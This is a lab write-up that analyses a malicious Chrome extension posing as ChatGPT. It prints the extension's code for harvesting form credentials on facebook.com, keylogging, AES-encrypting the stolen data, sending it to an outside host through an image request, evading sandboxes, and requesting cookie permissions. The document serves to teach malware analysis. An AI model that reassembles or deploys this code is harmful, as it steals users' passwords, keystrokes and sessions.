

FAKE GPT LAB

Malicious Chrome Extension Analysis Report

Cybersecurity Lab | Malware Analysis & Reverse Engineering

Lab Overview

This lab involved analyzing a malicious Chrome extension ("Fake GPT") to identify data theft mechanisms, covert exfiltration techniques using the '' tag, and anti-analysis techniques. The goal was to understand how the attacker built the extension to steal credentials and other sensitive data from victims.

Tool Required: Notepad++

Primary Threat: Credential theft, keylogging, covert data exfiltration

Encryption Used: Base64 encoding + AES encryption

Step 1 — Identifying the Encryption Method

Objective

Open the main JavaScript file and identify what type of encoding or encryption the attacker used.

Actions Taken

- Opened the primary JS file to inspect its contents.
- Scrolled through the code and identified "Base64" on line 38.

Finding

The attacker was using Base64 encoding as their primary obfuscation and encoding method. This was confirmed at line 38 of the JS file.

```
const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv });  
return iv.concat(encrypted.ciphertext).toString(CryptoJS.enc.Base64);
```

Step 2 — Analyzing the Base64-Encoded URL

Objective

Investigate a suspicious Base64 string found within the JS code to determine what it decodes to.

Actions Taken

- Located a line in the same JS file that contained a Base64-encoded string starting with:
d3d3LmZhY2Vib29rLmNvbQ==
- Identified this as a potential Base64-encoded URL.
- Decoded the string using CyberChef, which resolved to: www.facebook.com

Finding

The Base64-encoded string decoded to www.facebook.com — indicating the extension was designed to intercept or target Facebook-related activity/credentials.

```
const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];  
if (targets.indexOf(window.location.hostname) !== -1) {  
    document.addEventListener('submit', function(event) {
```

Step 3 — Covert Data Exfiltration via ''

Objective

Determine how the malicious extension sends stolen data to the attacker's server.

Actions Taken

- Inspected the code and found it uses an '' mechanism to steal information.
- Located the send-to-server call at line 41 of the JS file.

Finding

The extension covertly exfiltrates stolen data by using '' tags and transmitting the information to an attacker-controlled server. This is a steganographic-style technique to hide data transmission.

```
function sendToServer(encryptedData) {  
    var img = new Image();  
    img.src = 'https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData);  
    document.body.appendChild(img);  
}
```

Step 4 — Anti-Analysis: Self-Deactivation

Objective

Identify any anti-analysis or sandbox evasion mechanisms used by the extension.

Actions Taken

- Reviewed the loader.js file.
- Found that the plugin deactivates itself upon detecting a virtual/analysis environment — located at line 6 of loader.js.

Finding

The extension uses environment detection to deactivate itself when it suspects it is being analyzed in a sandbox or virtual machine. This is a classic anti-analysis technique to evade detection.

```
// Check if the browser is in a virtual environment  
if (navigator.plugins.length === 0 || /HeadlessChrome/.test(navigator.userAgent)) {  
    alert("Virtual environment detected. Extension will disable itself.");  
    chrome.runtime.onMessage.addListener(() => { return false; });  
}
```

Step 5 — Credential Harvesting via Form Submission

Objective

Identify how the attacker captures usernames and passwords when a user submits a form.

Actions Taken

- Examined app.js at line 11.
- Discovered that upon pressing "Submit", an event listener is launched that retrieves the username and password entered by the victim.

Finding

The extension registers an event listener on form submission. When the user clicks "Submit", the attacker silently captures the username and password. Reference: app.js, line 11.

```
const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
if (targets.indexOf(window.location.hostname) !== -1) {
  document.addEventListener('submit', function(event) {
    let form = event.target;
    let formData = new FormData(form);
    let username = formData.get('username') || formData.get('email');
    let password = formData.get('password');

    if (username && password) {
      exfiltrateCredentials(username, password);
    }
  });
}
```

Step 6 — Keylogging via Key-Down Event Recording

Objective

Determine whether the extension has keylogging capabilities.

Actions Taken

- Inspected app.js at line 22.
- Found code that records each key-down event to capture keystrokes.

Finding

The extension functions as a keylogger by recording every key-down event. This allows the attacker to capture all keystrokes typed by the victim, not just form submissions. Reference: app.js, line 22.

```
document.addEventListener('keydown', function(event) {
  var key = event.key;
  exfiltrateData('keystroke', key);
});
```

Step 7 — Data Exfiltration Destination

Objective

Identify the domain where the stolen information is being sent.

Actions Taken

- Located the network call in app.js at line 93.
- Found the exfiltration target domain.

Finding

Stolen information is transmitted to a domain called: Mo.Elshaheedy.com — the attacker's command-and-control (C2) server. Reference: app.js, line 93.

```
function sendToServer(encryptedData) {
  var img = new Image();
  img.src = 'https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData);
  document.body.appendChild(img);
}
```

Step 8 — Credential Exfiltration Function

Objective

Identify the specific function used to exfiltrate stolen credentials.

Actions Taken

- Located the exfiltration function in app.js.
- Identified the function call: exfiltrate Credentials(username, password);

Finding

The extension uses a dedicated function named exfiltrate Credentials(username, password) to send harvested credentials to the attacker's server. This confirms intentional credential theft functionality.

```

    if (username && password) {
      exfiltrateCredentials(username, password);
    }
  });

  document.addEventListener('keydown', function(event) {
    var key = event.key;
    exfiltrateData('keystroke', key);
  });
}

function exfiltrateCredentials(username, password) {
  const payload = { user: username, pass: password, site: window.location.hostname };
  const encryptedPayload = encryptPayload(JSON.stringify(payload));
  sendToServer(encryptedPayload);
}
```

Step 9 — AES Encryption of Exfiltrated Data

Objective

Determine how the attacker secures the stolen data before sending it.

Actions Taken

- Inspected app.js at line 37.
- Found that AES encryption is applied to the data before it is transmitted.

Finding

AES encryption is applied to the stolen data before sending it to the C2 server. This makes interception and detection harder. Reference: app.js, line 37.

```
function encryptPayload(data) {  
  const key = CryptoJS.enc.Utf8.parse('SuperSecretKey123');  
  const iv = CryptoJS.lib.WordArray.random(16);  
  const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv });  
  return iv.concat(encrypted.ciphertext).toString(CryptoJS.enc.Base64);  
}
```

Step 10 — Cookie Access & Authentication Data

Objective

Identify whether the extension accesses browser cookies or authentication tokens.

Actions Taken

- Reviewed manifest.json at line 15.
- Found that the extension requests permissions to access, store, and manipulate cookie data.

Finding

The extension accesses cookies to store and manipulate authentication data (session tokens, login cookies). This allows the attacker to hijack authenticated sessions even without the plaintext password. Reference: manifest.json, line 15.

```

"manifest_version": 2,
"name": "ChatGPT",
"version": "1.0",
"description": "An AI-powered assistant extension.",
"permissions": [
  "tabs",
  "http://**/*",
  "https://**/*",
  "storage",
  "webRequest",
  "webRequestBlocking",
  "cookies"
],

```

Summary of Findings

Step	Finding	Detail	File / Line
1	Encoding Type	Base64 used for obfuscation	JS file, line 38
2	Encoded URL	Decoded to www.facebook.com	JS file
3	Exfiltration Method	Uses '' to send data to server	JS file, line 41
4	Anti-Analysis	Self-deactivates in VM/sandbox environment	loader.js, line 6
5	Form Credential Theft	Captures username & password on Submit	app.js, line 11
6	Keylogging	Records all key-down events	app.js, line 22
7	C2 Domain	Data sent to Mo.Elshaheedy.com	app.js, line 93
8	Exfil Function	exfiltrate Credentials(username, password)	app.js
9	Data Encryption	AES encrypts data before transmission	app.js, line 37
10	Cookie Access	Accesses & manipulates auth cookies	manifest.json, line 15

Conclusion

The Fake GPT Chrome extension is a sophisticated piece of malware designed to steal credentials and sensitive browsing data from victims. It employs multiple layers of attack including Base64 encoding, AES encryption, keylogging, cookie hijacking, credential harvesting via form listeners, and covert data exfiltration to a remote C2 server. The extension also implements anti-analysis techniques by deactivating itself when it detects a virtual environment, making detection more difficult.

This lab demonstrates the real-world threat posed by malicious browser extensions and reinforces the importance of reviewing extension permissions and source code before installation.